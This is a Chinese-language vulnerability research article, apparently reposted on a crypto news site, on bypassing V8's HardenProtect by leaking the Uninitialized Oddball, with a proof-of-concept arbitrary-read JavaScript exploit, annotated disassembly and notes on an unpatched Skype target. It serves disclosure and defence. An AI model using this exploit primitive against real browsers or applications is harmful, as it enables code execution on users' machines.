揭秘通过泄露Sentinel Value绕过Chrome v8 HardenProtect
前言
Sentinel value(又名flag value/trip value/rogue value/signal value/dummy data)是算法中的一个特殊值,通常在循环或递归算法中作为终止条件的特殊值存在。Chrome源码中有很多Sentinel value。from-leaking-thehole-to-chrome-renderer-rce和TheHole New World - how a small leak will sink a great browser (CVE-2021-38003)中,都介绍了如何通过泄露TheHole对象实现CVE-2021-38003和CVE-2022–1364的沙箱内任意代码执行。在我们发文阐述该缓解绕过大概一周后,谷歌团队也迅速把这两个在野CVE同步更新到了github上。时间节点如下:


我们从Chrome源码中可以看到对TheHole对象导致任意代码执行的缓解修复。但实际上,除了TheHole对象外,v8中还有很多其他的原生对象,不应该泄漏到JS中。本文要讨论的对象是:Uninitialized Oddball,该绕过方法的完整代码最先出现在Issue1352549中,由Project0成员tiszka在exp中完整给出,值得一提的是,目前该方法目前仍可用于最新版V8,谷歌尚未针对该缓解绕过进行修复。
为引起厂商注意,这里我们不得不提一下该方法的通用性:
01-glazunov在提交Issue1216437(CVE-2021-30551)中首先给出的poc便是泄露internal uninitialized oddball,虽然第二个poc给出是类型混淆,但是结合本文方法仅有第一个poc即可轻松完成RCE;
02-Issue1314616(CVE-2022-1486)中,p0成员btiszka在给出的poc中也是直接泄露UninitializedOddball,虽然当时从泄漏UninitializedOddball到RCE的利用尚未完全清晰,但也足以说明安全问题,作者在Issue中如下陈述:
"Exploitability Notes: Currently, I'm not sure if this primitive can lead to more than an infoleak. Exploitation is not as straightforward as ..."
03-Issue1352549(NoCVE)请注意该PatchGap的影响!
我相信这三点就足以给我们充分的理由去复核下可能受PatchGap影响的软件。截至目前,Skype尚未修复该漏洞。
Sentinel valuein V8
我们可以在文件v8/src/roots/roots.h中看到v8的大部分原生对象。这些对象在内存中依次相邻排布。
/* Oddballs */ Offset \V(Oddball, uninitialized_value, UninitializedValue) 0138 \V(Oddball, the_hole_value, TheHoleValue) 0148 \V(Oddball, arguments_marker, ArgumentsMarker) 0218 \V(Oddball, exception, Exception) %DebugPrint() crash 0220 \V(Oddball, termination_exception, TerminationException) 0228 \V(Oddball, optimized_out, OptimizedOut) 0230 \V(Oddball, stale_register, StaleRegister) 0238 \
漏洞触发后,一旦将不应该泄露到Javascript中的原生对象泄露了出去,即可实现沙箱内任意代码执行。上一篇文章中TheHole对象的泄露也恰好说明了该问题。这里我们也再次重申,该方法在最新版V8中尚未修复。
为了在最新版V8中验证该方法,我们可以通过修改v8的native函数,将Uninitialized Oddball泄漏到JavaScript中,这里我们直接对%TheHole()函数中相对isolate偏移(索引)进行修改即可实现返回值为Uninitialized Oddball。ida对Runtime_TheHole函数反编译后代码如下所示:
v8::internal::Address v8::internal::Runtime_TheHole(int args_length, v8::internal::Address *args_object, v8::internal::Isolate *isolate) push rbp mov rbp, rsp lea rax, v8::internal::V8HeapCompressionScheme::base_ mov eax, [rax] test eax, eax jnz short loc_9B2ABA mov rax, [isolate+148h] ;;修改148h为138h pop rbp retn
调用%DebugPrint(%TheHole())如下输出所示:
$ ./d8 --expose-gc --allow-natives-syntax /home/avboy/Desktop/poc.js0x210400002371 <Odd Oddball: uninitialized>
Bypass HardenType
该方法在Issue1352549中直接给出了所有源码,我们直接对其进行提取和简化即可,如下代码所示:
class Helpers { constructor() { this.buf = new ArrayBuffer(8); this.u64 = new BigUint64Array(this.buf); this.f64 = new Float64Array(this.buf); this.u32 = new Uint32Array(this.buf); gc(); } f2big(f) { this.f64[0] = f; return this.u64[0]; } fhi(f) { this.f64[0] = f; return this.u32[1]; } flow(f) { this.f64[0] = f; return this.u32[0]; }}function UninitializedOddballExploiter(uninitialized_oddball) { var h = new Helpers(); let arr = new Array(0x1000000); arr[0] = 1.1; arr.a = 1.1; let exp1 = { prop: uninitialized_oddball }; let exp2 = { prop: { read_arr: arr } }; let read = (object, index) => { return object.prop.read_arr[index]; }; % PrepareFunctionForOptimization(read); read(exp2, 0); % OptimizeFunctionOnNextCall(read); const old_space = 0x200000;//0x200000 let start_offset = Math.floor(old_space / 8) + 3; for (var i = start_offset; i < start_offset + 0x6b000; i++) { let real_offset = i - 2; let hi = read(exp1, real_offset); let lo = read(exp1, real_offset - 1); let result = (BigInt(h.flow(hi)) << 32n) + (BigInt(h.fhi(lo))); console.log("result:" + result.toString(16)); readline(); }}UninitializedOddballExploiter(%TheHole());//注意对%TheHole()做patch
我们对上述代码在v8-11.0.0中测试,当%TheHole()返回UninitializedOddball时,仍旧可以实现相对任意读。
./d8 --expose-gc --allow-natives-syntax --print-opt-code --print-opt-code-filter=read --trace-turbo /home/avboy/Desktop/poc2.js
对优化后的JavaScript的read函数去掉Prologue,留下关键反汇编如下所示:
0x558b20004069 29 488b4d18 REX.W movq rcx,[rbp+0x18] 0x558b2000406d 2d f6c101 testb rcx,0x1 ;; check if rcx(ie. obj, the 1st arg of function) is 'Smi'0x558b20004070 30 0f842e020000 jz 0x558b200042a4 <+0x264> ;; deopt reason 'Smi'0x558b20004076 36 41b831cd1900 movl r8,0x19cd31 ;; (compressed) object: 0x17140019cd31 <Map[16](HOLEY_ELEMENTS)>0x558b2000407c 3c 443941ff cmpl [rcx-0x1],r8 ;; check the map(r8=0x19cd31 is the map of obj);; here we check the map of obj, but we did not check the value of key(ie. obj.prop);; and if we make the value of key to be uninitialized_oddball, there is the bypass0x558b20004080 40 0f8522020000 jnz 0x558b200042a8 <+0x268> ;; deopt reason 'wrong map'0x558b20004086 46 448b410b movl r8,[rcx+0xb] ;; *(addr(obj)+0xb) -> r80x558b2000408a 4a 478b44060b movl r8,[r14+r8*1+0xb] ;; r14 is high addr0x558b2000408f 4f 4d03c6 REX.W addq r8,r14 ;; r8 -> [String] in ReadOnlySpace: #uninitialized0x558b20004092 52 458b4807 movl r9,[r8+0x7] ;;0x558b20004096 56 4d03ce REX.W addq r9,r14 ;; r9 -> 0x2eb90000000d0x558b20004099 59 458b400b movl r8,[r8+0xb] ;; 0x558b2000409d 5d 488b7d20 REX.W movq rdi,[rbp+0x20] ;; rdi is index of arr, the 2nd arg of function0x558b200040a1 61 40f6c701 testb rdi,0x1 ;; check if rdi is 'Smi'0x558b200040a5 65 0f85da000000 jnz 0x558b20004185 B5 <+0x145> ;; if rdi is not 'Smi', JMP0x558b200040ab 6b 4c63df REX.W movsxlq r11,rdi ;; 0x558b200040ae 6e 49d1fb REX.W sarq r11, 1 ;; r11/2, because 'Smi' stored as 'Smi'*2 in Memory0x558b200040b1 71 4d63c0 REX.W movsxlq r8,r80x558b200040b4 74 49d1f8 REX.W sarq r8, 10x558b200040b7 77 4d3bd8 REX.W cmpq r11,r8 ;; r11 = 0x40002,real_offset as the index of arr0x558b200040ba 7a 0f83ec010000 jnc 0x558b200042ac <+0x26c> ;; deopt reason 'out of bounds'0x558b200040c0 80 c4817b1044d907 vmovsd xmm0,[r9+r11*8+0x7] ;; move double float value to xmm00x558b200040c7 87 c5f92ec0 vucomisd xmm0,xmm0 ;; Compare float value and Set EFLAGS0x558b200040cb 8b 0f8a88010000 jpe 0x558b20004259 B9 <+0x219> ;; jpe(Jump if parity even)0x558b200040d1910f8582010000jnz0x558b20004259B9<+0x219>;;jnz(Jumpifnotzero)
在0x558b2000407c处,检查了read函数的obj,确定其prop属性正确,但没有检查以obj.prop为key的Value,而是直接按照JavaScript语义计算偏移,求取数组的数值。如此导致我们在计算的时造成类型混淆,实现任意读。
如上汇编所示,当我们传入uninitialized_oddball时,从0x558b20004086开始以obj为起点计算,最终在vmovsd xmm0,[r9+r11*8+0x7]指令中完成任意读,数据保存在xmm0寄存器中。类似TheHole对象,由于uninitialized_oddball在v8内存中排序靠前,且对象内容更加原始,伪造更加容易,在TheHole缓解绕过修复后,该方法不失为绕过首选。同理,任意写我们可以参考Issue1352549进行构造分析。由于原理雷同,这里不再赘述。
这里修复建议是,对优化后的函数返回数组元素时,添加对数组map的检查,避免直接计算偏移返回数组数值。
PatchGap Alert
在我们谈论PatchGap时,实际上我们不仅仅需要关注曾经出现的历史漏洞,我们还要关注厂商在基础组件中悄悄修复的漏洞。对Issue1352549分析后,我们迅速排查了可能存在PatchGap的软件,这里不得不指出,截至目前Skype仍旧没有对该漏洞进行修复。在x86下任意读写会稍有不同。x64下由于存在地址压缩,在tuborgfun优化javascript生成的代码中,v8会默认将基址加上。x86由于没有基址,因此任意读写是直接相对于整个进程的。如下汇编所示:
0x3979b8ff 3f 8b790b mov edi,[ecx+0xb]0x3979b902 42 8b7f0b mov edi,[edi+0xb]0x3979b905 45 8b4707 mov eax,[edi+0x7] ;; eax will be a fixed number0x3979b908 48 8b7f0b mov edi,[edi+0xb]0x3979b90b 4b 8b5510 mov edx,[ebp+0x10]0x3979b90e 4e f6c201 test_b dl,0x10x3979b911 51 0f85b6000000 jnz 0x3979b9cd <+0x10d>0x3979b917 57 89d6 mov esi,edx0x3979b919 59 d1fe sar esi,1 ;; esi is index0x3979b91b 5b d1ff sar edi,1 ;; 0x3734b73a0x3979b91d 5d 3bf7 cmp esi,edi0x3979b91f 5f 0f838e010000 jnc 0x3979bab3 <+0x1f3> ;; deopt reason 'out of bounds'0x3979b925 65 c5fb104cf007 vmovsd xmm1,xmm0,[eax+esi*8+0x7] ;;
如上所示,esi为任意读数组的索引,eax为固定值,edi为"out of bounds"检测的数值,实际上调试时我们可以看到,edi为一个很大的数值,远超过声明时数组的最大范围。
因此,在edi范围内,可以任意读写。在具体做skype的exp时,虽然此时我们没有地址压缩带来内存读写的便利,且skype开启了aslr。但由于该文件太大,直接放在4GB内存中,黑客只需要对某个固定地址进行读写,便可以一个极大的概率读写skype文件中的内容。结合PE解析等传统思路,不难完成整个漏洞利用链。基于此,我们无法保证黑客不能在短时间内完成整个利用链的适配。
这次PatchGap实际上不止需要排查Issue1352549,由于一个新的绕过方法的公开,直接导致了类似Issue1314616和Issue1216437的利用难度大幅度降低,黑客几乎不需要花费任何研究成本,即可实现以往任何泄露uninitialized_oddball漏洞的完整利用,包括谷歌cluster fuzz提交的所有Issue中类似的漏洞。
总结
本文仅抛砖引玉,粗略来谈通过泄露Sentinel value中的uninitialized_Oddball来实现任意读原语。如第二部分所示,v8中的Sentinel value还有很多,实际上我们在测试Sentinel value的时候,也会经常容易遇到崩溃,不乏有非int3的崩溃出现。由于Uninitialized_Oddball和TheHole均已被证明可以在v8中实现环节绕过,我们有充分的理由怀疑其他Sentinel value也可能导致类似问题。
这也给我们一点提示:
01-其他uninitialized_Oddball泄露是否会轻松实现v8的RCE;
02-我们已经看到,谷歌会迅速将TheHole绕过进行修复,我们也看到利用垃圾回收实现ASLR绕过被长期搁置。这说明类似issue仍处在一个模糊边界,即是否被正式当作安全问题对待。
03-如果02中的问题被当作正式安全问题对待,那么在fuzzer中是否有必要考虑将%TheHole/uninitialized_Oddball等Sentinel value作为变量加入,来挖掘其他利用原语;
这里不得不强调的是,无论该类问题是否被正式当作安全问题对待,它都会大大缩减黑客实现完整利用周期。
参考资料
https://bugs.chromium.org/p/chromium/issues/detail?id=1314616
https://bugs.chromium.org/p/chromium/issues/detail?id=1352549
https://bugs.chromium.org/p/chromium/issues/detail?id=1216437
https://starlabs.sg/blog/2022/12-the-hole-new-world-how-a-small-leak-will-sink-a-great-browser-cve-2021-38003/
1.资讯内容不构成投资建议,投资者应独立决策并自行承担风险
2.本文版权归属原作所有,仅代表作者本人观点,不代表本站的观点或立场
您可能感兴趣
-
周期股还是成长股?Coinbase Q2 财报揭开“估值分歧”作者:Golem,Odaily 星球日报7 月 31 日,Coinbase 公布了 2026 年 Q2 财报。Coinbase 首席执行官 Brian Armstrong 在 X 平台发文对这一季度总
-
Circle 的又一个问题作者:Alex Xu随着稳定币供给品类的增加,渠道(交易所、商家网络、钱包、发卡方、甚至 AI 终端……)相对于稳定币的议价权将进一步上升,而不是如很多人此前所说的会因为 USDC 市场份额的领先而下
-
股票跌得比币圈还狠,钱去了哪?作者:Cathy,白话区块链7月28日和29日,首尔。Kospi指数连续两天触发熔断,韩国股市历史上从未有过。 第一天跌10.84%,第二天再跌5.98%。权重最大的SK海力士,两天累计跌掉约23%。
-
谁杀死了 BitMart?作者:Zhou,ChainCatcher继永续合约鼻祖 BitMEX 关停之后,BitMart 也倒下了。 就在7月15日,BitMart 才发布了 2026 上半年报告。这份报告以八周年为主题,通篇
-
“AI 股神”是如何崩盘的?华尔街一线复盘爆仓全过程作者:许超,华尔街见闻AI 算力与基础设施交易正在经历一场剧烈的大挤泡沫。近期,前 OpenAI 员工 Leopold Aschenbrenner 创办的对冲基金 Situational Awaren
-
25 岁“AI 股神”,倒在科技股暴涨前夜作者|谢瑞瑞,腾讯科技7月30日,美股发生了一场近乎戏剧性的反转。前一天还在集体下挫的科技股,突然掉头狂奔:纳斯达克指数大涨2.8%,微软单日飙涨15.51%,创下2008年以来的最大单日涨幅。 就在
-
WebX 2026 圆满收官,日本市场释放了哪些关键信号?超1.36万人齐聚东京,日本Web3全球影响力持续提升亚洲Web3盛会WebX 2026已成功落下帷幕。为期两天的大会于东京王子公园塔酒店举行,吸引了来自全球超90个国家和地区超过13,600名参会者,并同步举办了70多场周边活动,再一次证明了日本作为亚
-
华尔街围猎天才:36 小时,450 亿灰飞烟灭华尔街接走了AI神童的所有卖盘,避免了再次崩盘。 这是一场华尔街经典围猎。整个过程是这样的——猎物叫Leopold,今年24岁,德国天才。15岁上大学,19岁哥大第一名毕业,后来在OpenAI搞AI安
- 成交量排行
- 币种热搜榜
World Liberty Financial USDv
泰达币
比特币
以太坊
USD Coin
Solana
瑞波币
Ronin Network
币安币
莱特币
艾达币
狗狗币
大零币
Wormhole
比特现金
SHIB
UNI
OKB
AR
ICP
DOT
LUNC
YGG
DYDX
LPT
ETC